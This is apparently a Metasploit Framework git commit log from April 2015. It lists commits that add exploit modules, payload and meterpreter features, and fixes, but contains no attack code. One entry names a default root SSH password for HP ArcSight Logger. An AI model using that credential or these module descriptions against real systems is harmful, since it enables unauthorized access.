* ncc service ping.cpp command injection
2015-04-15 09:17:10 -05:00
jvazquez-r7
6019bbe0d2
Add ranking comment
2015-04-15 09:12:03 -05:00
jvazquez-r7
ad465c4d5b
Do code cleanup
2015-04-15 09:10:18 -05:00
sinn3r
2206ae48a1
Match the PR title
2015-04-15 01:50:59 -05:00
sinn3r
63048a7385
Newline
...
-_-
2015-04-15 01:38:09 -05:00
sinn3r
6f874b81ff
Add MS15-034 check (CVE-2015-1635)
2015-04-15 01:37:43 -05:00
Roberto Soares
1d6300991c
Clean the code of the module couchdb_enum.
2015-04-15 02:58:51 -03:00
joev
5f4ab3d2ab
The setres* stubs are not implemented in OSX.
2015-04-14 23:33:16 -05:00
joev
0d19b5d4c3
Fix require order issue.
2015-04-14 23:23:02 -05:00
joev
e56590e1e3
DRY up common code between BSD / OSX.
2015-04-14 23:08:57 -05:00
Roberto Soares
c6e8ffb7e3
Fix some "mistakes" following the style guide
2015-04-15 00:35:14 -03:00
Roberto Soares
9250869ace
Fix typo
2015-04-14 20:19:38 -03:00
Roberto Soares
6aad8b3a70
Changed the conditions if/elsif to case statements
2015-04-14 20:05:52 -03:00
Luke Imhoff
c971bc930c
Mark app/concerns as autoload
...
To work with metasploit-concern 0.4.0 prerelease not deriving
app/concerns from root and to ensure it is does not inherit eager_load
from app.
2015-04-14 15:06:59 -05:00
Luke Imhoff
b9bce90759
Update to metasploit-concern 0.4.0 prerelease
...
MSP-12550
Properly shows Metasploit::Credential::Core::ToCredential is not loaded.
2015-04-14 15:03:20 -05:00
Luke Imhoff
4c407ce962
Merge branch 'bug/MSP-12529/missing-require-metasploit-credential' into bug/MSP-12550/app-concerns-eager-load
...
MSP-12550
2015-04-14 14:42:54 -05:00
William Vu
3cdc84bf27
Fix missing type in report_note
2015-04-14 14:02:20 -05:00
William Vu
b5ae3fd62c
Land #5142 , missing module rank fixes
2015-04-14 13:41:38 -05:00
sinn3r
aca93cc86e
Add missing Rank
2015-04-14 13:33:37 -05:00
Brent Cook
75b559eea3
Land #5081 , meterpreter certificate hash check controls
2015-04-14 10:46:13 -05:00
Brent Cook
0e864e1631
update bins to 0.0.21
2015-04-14 10:45:49 -05:00
Brent Cook
7f56c07b64
add missing sslhash attribute
2015-04-14 10:45:44 -05:00
Tod Beardsley
97e715b1ce
Land #5139 , metasm/ruby signedness fix
2015-04-14 10:26:23 -05:00
OJ
4e49964c15
Add support for init_connect for stageless payloads
...
This new mode for HTTP/S stageless allows the stageless payload to be
reused without MSF believing that the session has already been
initialised.
2015-04-14 16:43:07 +10:00
William Vu
f6285991b3
Land #5140 , extraneous space fix
2015-04-14 01:38:21 -05:00
sinn3r
61b709b8c5
Extra space in message "Local IP:"
2015-04-14 01:34:07 -05:00
William Vu
e114c85044
Land #5127 , x64 OS X prepend stubs 'n' stuff
2015-04-14 01:25:39 -05:00
William Vu
8d1126eaa5
Land #5129 , x64 BSD prepend stubs 'n' stuff
2015-04-14 01:24:50 -05:00
Brent Cook
3860bbabbb
Avoid generating labels with '..' in them with metasm
...
So, metasm generates labels for the assembler using "%x" % string.object_id. If
the pointer for string.object_id begins with the most significant digit set, it
looks like a sign-extended 2's complement number (negative), and gets formatted
by ruby as '..f1412300' or similar. On 32-bit platforms, there is rather high
chance of randomly ending up with a label like 'goto_test_uuid..f1234560:',
which is a parse error.
This patch simply takes the absolute value of the object_id to avoid negative
interpretations. This fixes hiesenbugs using metasm's C compiler on 32-bit
platforms.
2015-04-13 22:43:18 -05:00
Roberto Soares
a09e643a71
Add author, URL, WPVDB and disclosure date.
2015-04-13 22:54:05 -03:00
Roberto Soares
271a81778e
Add Module WP N-Media Website Contact Form Upload
2015-04-13 22:48:34 -03:00
Joe Vennix
52fc60b294
Merge pull request #1 from wvu-r7/pr/5127
...
Add Privileged to info hash
2015-04-13 17:08:14 -05:00
Roberto Soares
7f10fb5bf0
Fix disclosure date
2015-04-13 18:53:20 -03:00
Roberto Soares
e94ca0bdd1
Add EDB, OSVDB and author.
2015-04-13 18:42:17 -03:00
Roberto Soares
d5d975c450
Add Module WordPress Creative Contact Form Upload
2015-04-13 18:38:43 -03:00
William Vu
e324819feb
Add Privileged to info hash
...
Also remove default payload. Was set for CMD.
2015-04-13 15:23:30 -05:00
Tod Beardsley
c2a252face
Land #5133 , grammar/spelling fixes from @void-in
2015-04-13 12:47:32 -05:00
Tod Beardsley
c4084659a9
Check @void-in's fixes out
2015-04-13 12:44:40 -05:00
William Vu
1a81938c6e
Land #5132 , @todb-r7's release fixes
2015-04-13 11:07:56 -05:00
Tod Beardsley
bd3b6514fa
Dubbed. Whump whump.
2015-04-13 10:52:32 -05:00
Tod Beardsley
d87483b28d
Squashed commit of the following:
...
commit 49f480af8b9d27e676c02006ae8873a119e1aae6
Author: Tod Beardsley <tod_beardsley@rapid7.com >
Date: Mon Apr 13 10:42:13 2015 -0500
Fix funny punctuation on rootpipe exploit title
See #5119
commit 0b439671efd6dabcf1a69fd0b089c28badf5ccff
Author: Tod Beardsley <tod_beardsley@rapid7.com >
Date: Mon Apr 13 10:37:39 2015 -0500
Fix vendor caps
Trusting the github repo README at
https://github.com/embedthis/goahead
See #5101
2015-04-13 10:46:47 -05:00
root
51dd88114b
Fix grammer in comments
2015-04-13 13:21:41 +05:00
Roberto Soares
7b57496501
Fix typo and add email addr.
2015-04-13 04:12:32 -03:00
Roberto Soares
abee3f17c4
Add author, CVE and EDB references
2015-04-13 04:08:34 -03:00
Roberto Soares
58c4042321
Add Module WP Slideshow Gallery Shell Upload
2015-04-13 03:56:59 -03:00
OJ
1c5de59d99
Add support for the set of timeout values
...
This removes the need for a separate get call behind the scenes as
meterpreter does get and set in a single call.
2015-04-13 10:42:05 +10:00
Roberto Soares
2d1f8c510e
Add author and references
2015-04-12 21:21:49 -03:00
Roberto Soares
9f06cee53d
Add Module WordPress WorkTheFlow Shell Upload
2015-04-12 21:09:44 -03:00
OJ
ec7fab7ef6
Add support for getting transport timeouts
2015-04-13 10:07:50 +10:00
joev
2d3614f647
Implement x64 BSD exec and exe template.
...
- Fixes bug in CachedSize due to all options being set
- Adds new payload to payload_spec.
2015-04-12 12:17:25 -05:00
joev
92c12de6db
Fix invalid datastore options.
2015-04-12 00:54:10 -05:00
joev
ceadd1e6ec
Update osx x86 payload cached sizes to be accurate.
...
- Right now there is a bug in the payload_spec, which causes the payload's
datastore during the spec run to have things like 'PrependSetuid' => 'false',
where 'false' is a string, which means 'if (datastore['PrependSetuid'])'
branch will be taken, resulting in incorrect behavior.
2015-04-12 00:21:18 -05:00
joev
eaab665a6d
Remove #generate patch, specs will fail again.
2015-04-12 00:07:39 -05:00
joev
60d98ba892
Implement the remaining syscalls.
2015-04-12 00:02:29 -05:00
joev
3fe6fb44b9
Prevent this from changing cache size.
2015-04-11 23:44:56 -05:00
joev
c132a3fb0a
Fix OSX prepends and implement x64 setreuid.
2015-04-11 20:04:21 -05:00
jvazquez-r7
fb300ff7ff
Allow to regenerate payload by client
...
* So bind payloads also work
2015-04-10 18:05:21 -05:00
jvazquez-r7
656abac13c
Use keyword arguments
2015-04-10 18:03:45 -05:00
jvazquez-r7
1720d4cd83
Introduce get_file_contents
2015-04-10 17:34:00 -05:00
William Vu
d5903ca5b2
Land #5126 , Meterpreter edit command fix
2015-04-10 17:19:33 -05:00
William Vu
9625504f5b
Land #5121 , timestomp arg/opt order fix
2015-04-10 17:18:14 -05:00
William Vu
8acc768da7
Copy documentation
2015-04-10 17:17:54 -05:00
jvazquez-r7
ca6a5cad17
support changing files
2015-04-10 16:53:12 -05:00
Sonny Gonzalez
3ae533f995
Merge pull request #5117 from shuckins-r7/chore/MSP-12540/set-postgres93-travis
...
Land #5117 - Set postgres version for Travis to 9.3
2015-04-10 15:36:46 -05:00
rwhitcroft
64c2bf3227
don't raise exception if file download fails
2015-04-10 16:23:33 -04:00
sinn3r
284ef5bbbb
Land #5112 , Nessus REST Login Module
2015-04-10 13:32:53 -05:00
jvazquez-r7
b2e17a61a9
Fix disclosure date
2015-04-10 13:09:24 -05:00
jvazquez-r7
ab944b1897
Add module to exploit dangerous group policy startup scripts
2015-04-10 13:01:50 -05:00
joev
3313dac30f
Land #5119 , @wvu's addition of the OSX rootpipe privesc exploit.
...
orts
borts
2015-04-10 12:38:25 -05:00
root
0adc558395
Merge branch 'wchen-r7-pr5112_update' into aux-scanner-nessus
2015-04-10 22:38:22 +05:00
root
19fe226b30
Correct a minor typo
2015-04-10 22:37:14 +05:00
sinn3r
4419c1c728
Land #5120 , Adobe Flash Player casi32 Integer Overflow
2015-04-10 12:18:11 -05:00
sinn3r
90d525088c
Green rspec
2015-04-10 11:36:23 -05:00
William Vu
e8e7a2a67a
Land #5122 , undefined "upload_path" fix
2015-04-10 11:30:50 -05:00
William Vu
fc814a17ae
Add admin check
...
Also break out version check.
2015-04-10 11:24:49 -05:00
William Vu
41885133d8
Refactor and clean
...
Finally breaking free of some stubborn old habits. :)
2015-04-10 11:22:27 -05:00
William Vu
a7601c1b9a
Use zsh to avoid dropping privs
...
Also add some configurable options.
2015-04-10 11:22:00 -05:00
William Vu
4cc6ac6eaa
Clarify vulnerable versions
2015-04-10 11:22:00 -05:00
William Vu
c4b7b32745
Add Rootpipe exploit
2015-04-10 11:22:00 -05:00
William Vu
289e24e009
Land #5123 , ms14_068_kerberos_checksum typo fix
2015-04-10 10:04:24 -05:00
root
7e6461aea0
Travis error correction
2015-04-10 15:48:48 +05:00
root
8c0d5d66d0
Add spec file
2015-04-10 15:32:03 +05:00
Jon Cave
b2b7da2dc5
Fix spelling of Microsoft in module name
2015-04-10 11:09:16 +01:00
Jon Cave
c6f062d49e
Ensure that local variable upload_path is defined
...
Merge `upload_payload` and `parse_upload_response` so that the
`upload_path` variable is defined for use in error messages in the event
of failure.
2015-04-10 10:58:20 +01:00
OJ
91202e2447
Port of reverse_tcp payload to metasm
2015-04-10 17:46:27 +10:00
root
7810f3d9a3
Add previous nessus_xmlrpc_login file
2015-04-10 12:32:42 +05:00
root
bbbd4d3634
change name to keep both XML and REST modules
2015-04-10 12:20:43 +05:00
William Vu
38037062b2
Land #5115 , vulns -R support
2015-04-10 01:51:41 -05:00
OJ
fadb13b8ef
Porting block api, exitfunk, bind to metasm
...
Also add the flag which lets the bind stager leave the listen socket
open.
2015-04-10 16:23:03 +10:00
rwhitcroft
b5f4b72b51
fix timestomp arg parsing
2015-04-10 00:28:35 -04:00
jvazquez-r7
91f5d0af5a
Add module for CVE-2014-0569
...
* Adobe flash, Integer overflow on casi32
2015-04-09 19:37:26 -05:00
OJ
298b20ba74
Land #5118 - prevent stack trace in https x64
2015-04-10 08:58:06 +10:00
HD Moore
1d166c1ef6
Don't lookup nil platform, prevents a stack trace w/64-bit reverse_https
2015-04-09 17:18:42 -05:00
Samuel Huckins
20514051bc
Set postgres version for Travis to 9.3
2015-04-09 17:16:37 -05:00
sekritskwurl
bd2136427e
Merge pull request #1 from wvu-r7/pr/5115
...
Fix up vulns -R
2015-04-09 18:04:55 -04:00
William Vu
6fbdb51246
Clean up vulns -R and a few others
2015-04-09 16:52:23 -05:00
William Vu
88031c9a87
Update spec
2015-04-09 16:25:04 -05:00
sekritskwurl
0d6fb3dd6b
vulns command with -R --rhosts
2015-04-09 17:01:18 -04:00
sinn3r
56793d11c8
Fix #4866 , msfvenom not properly handling platform & arch
...
This fixes #4866 , an issue with msfvenom not properly handling special
cases with generic payloads. So the story behind this fix is that
we have these two problems:
Problem 1: The current payload selection design relies on the payload
module in order to set the platform and arch. Almost all MSF payloads
contain a default platform and arch, however, the bind and reverse
generic payloads don't.
Problem 2: By default, Msf::Payload::Generic also explicitly sets the
PLATFORM and ARCH datastore options to nil. So there is no way the
payload generator can figure out what platform and arch to use.
As a result of these problems, msfvenom will actually end up getting
a Msf::Module::Platform as the default platform, which doesn't
actually represent any valid platform we can use (such as
Msf::Module::Platform::Windows). And the first item of ARCH_ALL for
the arch.
In addition, msfvenom has these two arguments that the user can use:
--platform and --arch. In most cases, these arguments are used more
like checks than actually setting anything. Because remember:
Framework's payload selector retreives the platform & arch from the
module (trusted), not the user input (untrusted). But from the user's
perspective it's impossible to know this.
After experimenting different ways to fix this, I came up with this
patch. It feels sort of more like a hack than a real fix, but as
far as I can tell, this is the best you can get unless you want to
redesign generic payload selection.
2015-04-09 16:01:11 -05:00
Pedro Ribeiro
4808d61af3
Add OSVDB id and full disclosure URL
2015-04-09 16:32:22 +01:00
HD Moore
ec28992ce2
Lands #5113 , fixes IPv6 support for stageless
2015-04-09 09:29:40 -05:00
Luke Imhoff
eb9b5d9a35
Restore metasploit-credential 0.14.3
...
MSP-12529
To prove that the change to optionally requiring 'metasploit/credential'
instead of 'metasploit/credential/creation' when including
`Metasploit::Credential::Creation` works not just with
metasploit-credential 0.14.4, go back to the original `Gemfile.lock`
with metasploit-credential 0.14.3.
2015-04-09 09:24:49 -05:00
Luke Imhoff
8b56286e66
Try to require 'metasploit/credential' when including Metasploit::Credential::Creation
...
MSP-12529
By convention, the top-level require of any gem should always be
required before trying to use any inner require.
2015-04-09 09:05:38 -05:00
Luke Imhoff
7442aa1439
Update metasploit-credential
...
MSP-12529
Update metasploit-credential to trigger bug where
`Metasploit::Credential` is not loaded when metasploit-framework tries
to directly require 'metasploit/credential/creation'.
2015-04-09 08:48:45 -05:00
OJ
c83a763150
Fix IPv6 issues in staged and stageless
...
* Stageless payloads weren't adding brackets around IPv6 hosts.
* Staged HTTP handler was using an undefined function to check for IPv6
addresses when host header overriding was disabled.
2015-04-09 23:33:10 +10:00
OJ
809409d8c4
Lots of changes to support moving timeouts to common spots
...
Session expiry, comms timeout, retry total/wait are all now part of all
of the meterpreter payloads as these are going to be used for
maintaining access with resiliency and will aim for consistency across
the payload types.
2015-04-09 17:57:43 +10:00
William Vu
ae62d00ee4
Land #5111 , mimikatz typo fix
2015-04-09 01:50:36 -05:00
Anant Shrivastava
2b5ba7d12d
fixed a typo
...
a typo fixed in help.
command and not commannd
2015-04-09 12:11:46 +05:30
root
b6e750d7eb
Nessus auxiliary scanner for updated REST API
2015-04-09 11:36:17 +05:00
William Vu
d98841d157
Land #5109 , uictl enable/disable all
2015-04-09 01:35:01 -05:00
sinn3r
3fc25a00d8
Make sure we are only grabbing hidden inputs
2015-04-09 01:09:00 -05:00
sinn3r
59d89f4846
rm junk comments
2015-04-09 00:59:14 -05:00
sinn3r
717120b8c5
Add #get_hidden_inputs for Metasploit::Framework::LoginScanner::HTTP
2015-04-09 00:34:09 -05:00
Roberto Soares
1591c92547
Add the "all" option for the uictl
2015-04-09 01:04:50 -03:00
OJ
bc5fd4b813
A few adjustments to make bind_tcp keep listen sockets open
2015-04-09 08:46:35 +10:00
William Vu
c9bf8f3140
Land #5105 , @joevennix's cable modem 0day
2015-04-08 16:09:46 -05:00
William Vu
831a59b10b
Fix whitespace
2015-04-08 16:09:28 -05:00
Tod Beardsley
52f1b95222
Add disclosure link
2015-04-08 16:07:33 -05:00
sinn3r
1bfda9e78f
Land #5101 , Add Directory Traversal for GoAhead Web Server
2015-04-08 15:30:23 -05:00
Brent Cook
e03f2df691
Land #5002 , RMI/JMX improvements
2015-04-08 15:23:29 -05:00
Tod Beardsley
7ed1655976
Adding module for R7-2015-01
...
Disclosure coming soon, will update this module with a pointer to the
correct reference.
2015-04-08 12:34:31 -05:00
sinn3r
f51eaef765
Add rspec
2015-04-08 02:33:27 -05:00
sinn3r
5f389cf3c2
Add ManageEngine Desktop Central Login Utility
2015-04-08 02:05:56 -05:00
HD Moore
e7a4ee637a
Port windows reverse_tcp|bind_tcp to Metasm, add error handling
...
Conflicts:
lib/msf/core/payload/windows/bind_tcp.rb
modules/payloads/stagers/windows/bind_tcp.rb
Cherry-picked form @hmoore-r7's repo.
2015-04-08 16:21:10 +10:00
OJ
9ebcb27929
Merge branch 'upstream/master' into connection-recovery
2015-04-08 15:48:21 +10:00
Roberto Soares
dc14c770be
Changed the traversal variable to just one line
2015-04-08 02:26:59 -03:00
OJ
a9804dff62
Initial work to support fault-tolerant connectivity
...
This code adjusts the bind_tcp stager for x86 so that the listener
socket isn't close for meterpreter payloads. This means that meterpreter
can make an educated guess as to whether or not the payload was a bind
or tcp payload, and from there can attempt to establish communications
in the same way as before should something break along the way.
Some simple adjustments to the x64 meterpreter stage as well, but more
to come here.
2015-04-08 14:41:32 +10:00
Roberto Soares
441042ed37
Removed the segments variable
2015-04-08 01:29:45 -03:00
Brent Cook
b22ff676e2
Land #5090 : remove unused partial openssh compat code
2015-04-07 23:14:07 -05:00
Brent Cook
27fa8791f9
Land #5095 - OJ adds stageless http transports
2015-04-07 22:58:36 -05:00
Roberto Soares
d399d05383
Add Directory Traversal for GoAhead Web Server
2015-04-07 20:22:06 -03:00
Zach Grace
42e82cc644
Rubocop fixes
2015-04-07 18:21:08 -05:00
Zach Grace
7275d5745f
Fixes, refactoring and adding JBoss AS default creds scanning
2015-04-07 17:40:25 -05:00
OJ
9fd40870d0
Update http(s) generator functions
...
Methods now require a hash. I went with the hash because 1) that's what
we seem to use everywhere else, and 2) I couldn't get the new keyword
arguments working nicely with the block syntax (I'm clearly stupid).
2015-04-08 07:56:54 +10:00
Brent Cook
db9a3d167a
fix deletekey API usage from the meterpreter CLI
...
There is an old-looking bug where the deletekey command opens the key it tries
to delete, then deletes the same key name again. Basically, it uses the wrong
level of indirection.
2015-04-07 15:34:23 -05:00
Brent Cook
a54182a562
Land #5088 : @rwhitcroft fix premature close on connect -i
2015-04-07 14:00:16 -05:00
Brent Cook
84411be606
Land #5097 : resolve UUID namespace issues with pro
2015-04-07 13:16:28 -05:00
HD Moore
8cc48e05a8
Make Polyglot happy
2015-04-07 13:08:58 -05:00
HD Moore
9bce08b813
This change avoids namespace collisions around the Abbrev class
2015-04-07 13:06:26 -05:00
Samuel Huckins
bac3c80d7e
Land 5093, workaround for when cache is being built
2015-04-07 12:02:30 -05:00
Brent Cook
890b1515ae
Land #5046 , meterpreter transport mobility support
2015-04-07 10:52:03 -05:00
Pedro Ribeiro
cf8b92b747
Create zcm_file_upload.rb
2015-04-07 16:05:51 +01:00
Pedro Ribeiro
6516cab5be
Merge pull request #16 from rapid7/master
...
a
2015-04-07 16:04:05 +01:00
OJ
53d5b97634
Add support for UUID generation in transport switching
...
If the session doesn't have a payload UUID we now generate one as best
we can. This code will probably go away when TCP related transports have
had the UUID stuf baked in.
2015-04-07 17:25:55 +10:00
OJ
15313243cc
Use UUID instead of old skool URIs
...
This uses HD's UUID stuff to generate a new URI for the transport.
Currently we don't have UUID support for TCP connections, but that's
coming.
Still do to: generation of a valid UUID for payloads that don't already
have one.
2015-04-07 16:00:30 +10:00
OJ
2977cbd42a
Merge branch 'upstream/master' into dynamic-transport
2015-04-07 14:30:48 +10:00
OJ
84397f5db0
Remove unused commented-out code
2015-04-07 12:47:18 +10:00
OJ
5ab0204b24
Update spec for new payloads
2015-04-07 11:32:00 +10:00
OJ
8f58e08c13
Add support for stageless reverse_http payloads
...
This includes both x64 and x86.
2015-04-07 11:01:24 +10:00
OJ
38a77c930e
Land #5072 : Support and embed payload UUIDs
2015-04-07 10:10:36 +10:00
James Lee
83cf1ad8ce
Instantiate to get name if we don't have cache yet
...
Fixes #5086
2015-04-06 18:59:38 -05:00
William Vu
21d0d6ceb3
Remove dead code from Net::SSH
...
Triggers uninitialized constant COMPAT_OLD_DHGEX, which was removed in
1664a4b5e8 . Somehow, this file was missed
when syncing with upstream.
2015-04-06 15:59:09 -05:00
rwhitcroft
8cbc98fc47
fix #5074 - missing thread join
2015-04-06 16:21:07 -04:00
William Vu
ee13c07c95
Fix stack trace from %W prompt format
...
Should have been framework.db.active.
2015-04-06 14:08:52 -05:00
William Vu
5f8d58f214
Use framework.db.active
2015-04-06 14:08:10 -05:00
William Vu
bc4d6c2545
Land #5083 , %W prompt format for current workspace
2015-04-06 13:48:52 -05:00
William Vu
7a2d3f5ebd
Land #5082 , firefox_proxy_prototype autopwn_info
2015-04-06 13:36:03 -05:00
William Vu
efebe1cd0f
Land #5084 , @todb-r7's release fixes
2015-04-06 13:08:54 -05:00
William Vu
e1af495d21
Add extra release fixes
2015-04-06 13:08:40 -05:00
Tod Beardsley
b62011121b
Minor word choice fix on Solarwinds exploit
...
Removing the second person pronoun usage.
[See #5050 ]
2015-04-06 12:40:22 -05:00
Tod Beardsley
5be5b6097c
Minor grammar on #5030 , Adobe Flash
...
[See #5030 ]
2015-04-06 12:36:25 -05:00
Tod Beardsley
1e6d895975
Description fixes on #4784 , jboss exploit
...
Also, needed to run through msftidy.
[See #4784 ]
2015-04-06 12:34:49 -05:00
HD Moore
6811aebb1c
Merge pull request #11 from OJ/hd-payload-uuids
...
Add trailing slash to stageless URI
2015-04-06 10:57:41 -05:00
HD Moore
98c95104da
Use ||= for consistency
2015-04-06 10:55:14 -05:00
James Lee
566c330b83
Add workspace to prompt format options
2015-04-06 09:19:49 -05:00
OJ
9b502b904f
Add trailing slash to stageless URI
...
Without the trailing slash, stageless payloads take a nasty turn.
2015-04-06 19:53:02 +10:00
root
cd65e6f282
Add browser_autopwn info to firefox_proxy_prototype
2015-04-06 10:42:32 +05:00
OJ
4635bb83c3
Implement ssl verification toggling
...
Add support to meterpreter that allows for the querying and toggling of
SSL certificate verification on the fly.
In order to verify that the socket was SSL-enabled, some rejigging had
to be done of the type? method in the ssl socket class.
2015-04-06 14:40:59 +10:00
HD Moore
3c59519811
Add PayloadUUIDRaw for manual PUID specification
2015-04-05 23:25:52 -05:00
HD Moore
96f8a45b0d
Additional yardoc comments for the UUID class
2015-04-05 23:16:24 -05:00
HD Moore
9145b6d717
Fix specs for uri_checksum
2015-04-05 22:56:59 -05:00
HD Moore
78c73cc2a3
Update cached sizes with the new uri defaults
2015-04-05 22:11:12 -05:00
HD Moore
8bcdddfd04
Fix yardoc comment, thanks @void-in!
2015-04-05 22:09:35 -05:00
jvazquez-r7
261ef51813
Add Rex::Java::Serialization exceptions
2015-04-05 18:43:03 -05:00
jvazquez-r7
2e52817b24
Add DecodeError
2015-04-05 18:16:19 -05:00
jvazquez-r7
85a70d401b
Introduce Rex::Proto::Rmi::DecodeError
2015-04-05 18:15:04 -05:00
jvazquez-r7
3570fc586f
Use constants for JMX serial version uids
2015-04-05 16:23:39 -05:00
jvazquez-r7
46a225cbec
Don't store Exception in a variable
2015-04-05 15:59:52 -05:00
jvazquez-r7
72c36eb23e
Use concatenation
2015-04-05 15:57:50 -05:00
Meatballs
e4d38886de
Land #5076 , GPP Bitwise OR correction
2015-04-05 19:48:31 +01:00
Meatballs
8ce7671b7d
Land #5077 , NetAPI SV_TYPE Constant Fixes
2015-04-05 19:42:26 +01:00
Jon Cave
b1a7e77fa9
Correct domain controller server type constants
...
The should be specified in hex as BAKCTRL is 16, not 10. CTRL should
be 8. See documentation for NetServerEnum.
2015-04-05 11:12:18 +01:00
Jon Cave
7aceb9218e
Use bitwise OR to select both primary and backup DCs
...
SV_TYPE_DOMAIN_CTRL || SV_TYPE_DOMAIN_BAKCTRL returns
SV_TYPE_DOMAIN_CTRL rather than ORing the bits together.
2015-04-05 11:05:42 +01:00
Meatballs
ebf77cd02d
Merge remote-tracking branch 'upstream/master' into msfvenom_psh_squash
...
Conflicts:
lib/msf/util/exe.rb
2015-04-05 00:24:48 +01:00
HD Moore
c9696d3f6c
Merge in stageless/transport work, deconflict
2015-04-04 11:52:26 -07:00
Brent Cook
57395deb1d
Land #5056 , @wchen-r7 explicit recog require
2015-04-03 17:06:47 -05:00
Brent Cook
5589717323
Land #5058 , @wvu-r7's default workspace saving
2015-04-03 16:53:21 -05:00
William Vu
6c2585cd79
Don't recreate saved workspace
2015-04-03 16:44:36 -05:00
Tod Beardsley
72b9647b31
Land #5057 , CVE fixups
2015-04-03 16:36:11 -05:00
Brent Cook
0cad99a967
Land #3950 , @agix's multiple encoder chaining
2015-04-03 16:12:55 -05:00
jvazquez-r7
b42e0298fe
Land #5067 , @wchen-r7's standalone jsobfu tool
2015-04-03 16:01:39 -05:00
William Vu
56dc7afea6
Land #5068 , @todb-r7's module author cleanup
2015-04-03 16:00:36 -05:00
jvazquez-r7
cb08e5b8da
Fix specs
2015-04-03 16:00:28 -05:00
jvazquez-r7
79b2a23dff
Land #5015 , @espreto file traversal scanner for RIPS
2015-04-03 15:35:58 -05:00
jvazquez-r7
ce6e5e12d8
Make depth an option
2015-04-03 15:33:27 -05:00
sinn3r
c33a4a7fd9
rspec for jsobfu
2015-04-03 15:27:35 -05:00
jvazquez-r7
70fad73092
Add metadata
2015-04-03 15:27:28 -05:00
Brent Cook
e5443e74ed
Merge branch 'upstream-master' into land-3950-chain-encoders
2015-04-03 15:18:06 -05:00
jvazquez-r7
830cd269b4
Solve conflicts
2015-04-03 14:58:35 -05:00
jvazquez-r7
e3bbb7c297
Solve conflicts
2015-04-03 14:57:49 -05:00
jvazquez-r7
e729185804
Land #5051 , @nullbind's new options for mssql_enum_domain_accounts_sqli
2015-04-03 14:44:20 -05:00
jvazquez-r7
fe9fbfd157
Make calculations easier
2015-04-03 14:43:01 -05:00
jvazquez-r7
75c6341dd8
Fix raise
2015-04-03 14:18:15 -05:00
jvazquez-r7
6c36a82f78
Land #5059 , @void-in's documentation clean up
2015-04-03 14:16:34 -05:00
jvazquez-r7
fe5ddc01ad
Fix return documentation
2015-04-03 14:16:06 -05:00
jvazquez-r7
b0042f1cf2
Undo java serialization and RMI fixes
2015-04-03 14:07:49 -05:00
jvazquez-r7
11d372b015
Fix YARD documentation
...
* Thanks @void-in
* See #5059
2015-04-03 14:01:31 -05:00
jvazquez-r7
828301a6cc
Land #5050 , @wchen-r7's exploit for Solarwinds Firewall Security Manager
...
* CVE-2015-2284
2015-04-03 13:45:30 -05:00
jvazquez-r7
7c9b19c6f8
Do minor cleanup
2015-04-03 11:53:50 -05:00
jvazquez-r7
3e1be82ded
Land #5061 , @wchen-r7's update for the unix passwords list
2015-04-03 11:44:01 -05:00
sinn3r
a333632a69
Add standalone tool for jsobfu
2015-04-03 11:30:23 -05:00
root
452ebcf9ad
travis
2015-04-03 16:29:35 +05:00
root
be829e77ba
cravis error solve
2015-04-03 16:25:18 +05:00
root
4bd40fed7f
yard doc and comment corrections for auxiliary
2015-04-03 16:12:23 +05:00
OJ
3b3e969a1c
Land #5023 : support for IE11 in fingerprint_user_agent
2015-04-03 21:12:00 +10:00
OJ
d02a4cc197
Land #5066 : EncodedPayload#generate specs
2015-04-03 20:59:00 +10:00
OJ
aaeaa0503d
Land #12 : New meterpreter binaries
2015-04-03 20:54:34 +10:00
Brent Cook
0d78834083
update meterpreter binaries
2015-04-03 05:47:18 -05:00
root
0dd987d873
Updated as per jlee-r7 feedback
2015-04-03 10:17:54 +05:00
James Lee
a1b4cf375f
Add some minimal specs for #generate
2015-04-03 00:11:41 -05:00
OJ
c4b7426ba8
Merge branch 'upstream/master' into dynamic-transport
2015-04-03 13:57:24 +10:00
Brent Cook
16cb334325
Land #5065 : OJ fix missed merges for uri_checksum and others
2015-04-02 22:53:29 -05:00
OJ
fd043d4842
Fix up build and missing uri_checksum stuff
...
Somehow this made it into a merge when it shouldn't have. This fix moves
the URI checksum module to where it needs to be and updates all the
references where required. This will result in a class with the dynamic
transport branch, but I can fix that after.
2015-04-03 13:42:25 +10:00
scriptjunkie
0f7c644fff
Land #4784 , JBoss Seam 2 upload exec exploit
2015-04-02 22:32:35 -05:00
OJ
fc44f5b1f4
Merge branch 'upstrea/master' into dynamic-transport
...
Small merge required with the https payload proxy changes.
2015-04-03 10:14:48 +10:00
HD Moore
4f818dcc14
Lands #5032 , stageless meterpreter 64-bit
2015-04-02 18:55:36 -05:00
OJ
5b5dc3ef59
Merge branch 'upstream/master' into stageless-x64
...
Merge required adjustment of the proxy datastore names that were changed.
2015-04-03 08:53:09 +10:00
Tod Beardsley
3ff91d74ca
More cleanup, mostly abysssec
...
[See #5012 ]
2015-04-02 16:16:38 -05:00
Tod Beardsley
11057e5b3b
Fix up the last couple from Tenable, missed last
...
[See #5012 ]
2015-04-02 15:27:46 -05:00
Tod Beardsley
4bbec88882
Various other one-off nonhuman author credits
...
[See #5012 ]
2015-04-02 15:25:47 -05:00
Tod Beardsley
6d5bcb93a8
Normalize the SecurityXploded Team credits
...
[See #5012 ]
2015-04-02 15:15:37 -05:00
Tod Beardsley
6532fad579
Remove credits to Alligator Security Team
...
All but one of these modules credits both a team name and individual
team members. We should just be crediting team members. The domain
persists in all the other credits.
The one that didn't was credited to dflah_ specifically, so merely
changed the author name.
Longer description, if needed, wrapped at 72 characters.
[See #5012 ]
2015-04-02 15:12:22 -05:00
Samuel Huckins
fde7cdd4a7
Land 5062, corrects issue in loginscanner results
2015-04-02 15:07:17 -05:00
David Maloney
1684bfec9e
add missing data to loginscanner results
...
the chef web ui and symantec web gateway
loginscanners do not save the target(host/port/proto) info
in the Result object. This can cause modules to break as they
expected the Result to contain that information
MSP-12499
2015-04-02 13:53:45 -05:00
sinn3r
ec2f9e3c05
Add SSH root password 'arcsight' for HP ArcSight Logger
...
The default password for root is 'arcsight'
2015-04-02 11:04:07 -05:00
OJ
d2d68d76a2
Update transport switching to a full blown command
...
Transport switching should now support all of the bits and pieces
required to do full switching with all configurable transport options
2015-04-02 23:13:59 +10:00
root
27353d62ca
Discard local changes to non relevant files
2015-04-02 16:21:43 +05:00
root
4ba761986f
Correct YARD doc comments
2015-04-02 16:14:25 +05:00
OJ
1b577bdd2f
Rename spec file based on new location
2015-04-02 12:50:29 +10:00
OJ
81e1643010
Finally fix specs properly
2015-04-02 11:33:31 +10:00
OJ
47fa97816d
Code fixes as per suggestions, fix build
...
* Use of `ERROR_FAILURE_WINDOWS` in python meterpreter.
* Moving of constants/logic to client_core instead of
